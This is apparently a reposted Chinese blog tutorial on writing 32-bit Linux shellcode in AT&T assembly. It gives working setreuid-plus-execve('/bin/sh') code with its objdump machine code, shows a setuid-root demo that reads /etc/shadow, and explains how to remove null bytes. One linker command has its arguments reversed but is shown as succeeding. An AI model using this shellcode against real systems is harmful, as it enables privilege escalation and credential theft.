- 论坛徽章:
- 0
|
最近看汇编,原来汇编学的就不好,正好在学写shellcode,现在小补一下。顺便熟悉一下AT&T的语法。
先来个hello world熟悉一下语法:hello.s
.section .data
msg:
.asciz "Go to Hell\n"
.section .text
.globl _start
_start:
movl $4, %eax
movl $1,%ebx
movl $msg,%ecx
movl $13,%edx
int $0x80
movl $1, %eax
movl $0, %ebx
int $0x80
至于AT&T的语法跟intel的语法有什么区别,网上有很多文章,不再赘述
用as编译一下,生成目标文件,然后再用ld链接,生成可执行文件
$ as -o hello.o hello.s
$ ld -o hello hello.o
$ ./hello
Go to Hell
$
好了,这是个很简单的东西,再来看看shellcode常用的返回一个shell的程序如何用汇编编写,这里我们要用到系统调用execve
.section .text
.globl _start
_start:
;setreuid(0,0)
xor %eax, %eax ;clean the eax
movl $0x46, %eax
xor %ebx, %ebx
xor %ecx, %ecx
int $0x80
;execve(const char *path, char *const argv[], char *const envp[])
;execve("/bin/sh",NULL,NULL)
xor %eax, %eax
push %eax
push $0x68732f2f ;push //sh into stack
push $0x6e69622f ;push /bin into stack
;now the esp is point to /bin/sh
movl %esp, %ebx
;push the perameter into stack in reverse order
push %eax
push %ebx ;a pointer recorded /bin/sh
movl %esp, %ecx ;addr of argv,put it into ecx
xor %edx, %edx
movl $0xb, %eax
int $0x80
编译:
[drinkey@linux test]$ as -o shell.o shell.s
shell.s: Assembler messages:
shell.s:4: Error: invalid character '(' in mnemonic
shell.s:5: Error: no such instruction: `clean the eax'
shell.s:11: Error: invalid character '(' in mnemonic
shell.s:12: Error: invalid character '(' in mnemonic
shell.s:15: Error: invalid char '/' beginning operand 1 `//sh into stack'
shell.s:16: Error: invalid char '/' beginning operand 1 `/bin into stack'
shell.s:17: Error: no such instruction: `now the esp is point to/bin/sh'
shell.s:19: Error: junk `perameter into stack in reverse order' after expression
shell.s:21: Error: no such instruction: `a pointer recorded/bin/sh'
shell.s:22: Error: no such instruction: `addr of argv,put it into ecx'
。。。。
编译出错,貌似是注释格式不对,具体怎么注释。。。先不管了,去掉他们先
[drinkey@linux test]$ sed -e '/^\;/d' shell.s |awk -F\; '{print $1}' > sc.s
再来一次
[drinkey@linux test]$ as -o shell.o sc.s
[drinkey@linux test]$ ld -o shell.o shell
ok,编译,链接都没有问题,执行一下看看
[drinkey@linux test]$ ./shell
sh-3.1$ exit
exit
[drinkey@linux test]$ ll
......
恩,也ok了
注意在上面程序里调用了setreuid这个系统调用,就是说只要该可执行文件有了s的stick bit之后,并且程序的属主是root,我们就可以获得一个root shell了,let's try...
[drinkey@linux test]$ su -
Password:
[root@linux ~]# chown root shell
[root@linux ~]# chmod +s shell
[root@linux ~]# exit
[drinkey@linux test]$ ll
-rwsrwsr-x 1 root drinkey 488 Sep 21 15:17 shell
[drinkey@linux test]$ ./shell
sh-3.1# id
uid=0(root) gid=501(drinkey) groups=501(drinkey) context=user_u:system_r:unconfined_t
sh-3.1# cat /etc/shadow
.........
恩,现在已经是root了,是不是很爽啊,哈哈
用objdump看看
[drinkey@linux test]$ objdump -D shell
shell: file format elf32-i386
Disassembly of section .text:
08048054 :
8048054: 31 c0 xor %eax,%eax
8048056: b8 46 00 00 00 mov $0x46,%eax
804805b: 31 db xor %ebx,%ebx
804805d: 31 c9 xor %ecx,%ecx
804805f: cd 80 int $0x80
8048061: 31 c0 xor %eax,%eax
8048063: 50 push %eax
8048064: 68 2f 2f 73 68 push $0x68732f2f
8048069: 68 2f 62 69 6e push $0x6e69622f
804806e: 89 e3 mov %esp,%ebx
8048070: 50 push %eax
8048071: 53 push %ebx
8048072: 89 e1 mov %esp,%ecx
8048074: 31 d2 xor %edx,%edx
8048076: b8 0b 00 00 00 mov $0xb,%eax
804807b: cd 80 int $0x80
中间的一段就是机器码,只要把他们提取出来,就可以作为shellcode使用了,但是有个问题,如果shellcode中存在null字符,就会结束操作,操作就会失败,必须把空字符\x00去掉,但是不是简单的把他们去掉就可以,还需要做一些工作。
上面一个例子里,注意观察一下,其实空字符都出现在给eax赋值时,eax是32位寄存器,长度为4字节,我们赋值的数值占用一个字节,剩下的3个字节是出现空字符的地方,在赋值时,并没有用到其他字节。我们只要把movl $0x46, %eax改写成movb $0x46, %al就可以了。把上面的代码两个地方修改一下,再看一下机器码是什么情况:
[drinkey@linux test]$ objdump -D shell
shell: file format elf32-i386
Disassembly of section .text:
08048054 :
8048054: 31 c0 xor %eax,%eax
8048056: b0 46 mov $0x46,%al
8048058: 31 db xor %ebx,%ebx
804805a: 31 c9 xor %ecx,%ecx
804805c: cd 80 int $0x80
804805e: 31 c0 xor %eax,%eax
8048060: 50 push %eax
8048061: 68 2f 2f 73 68 push $0x68732f2f
8048066: 68 2f 62 69 6e push $0x6e69622f
804806b: 89 e3 mov %esp,%ebx
804806d: 50 push %eax
804806e: 53 push %ebx
804806f: 89 e1 mov %esp,%ecx
8048071: 31 d2 xor %edx,%edx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
执行一下,我们的修改没有对程序运行产生任何影响,因为当我们改变低8位的时候我们不能确定%eax是否为空,所以之前必须还得把寄存器清零。如果我们没有把寄存器清零,当%ah中有其它数值的话内核可能会执行错误的系统调用。
现在提取出机器码,放在shellcode字符串里,就可以正常执行了。
至于如何提取机器码,以及怎么调用shellcode,以后再说吧,现在正在想办法方便的提取出机器码,总不能让我用手一个个敲进去吧,我很懒的。。。。
本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u2/78951/showart_1212393.html |
|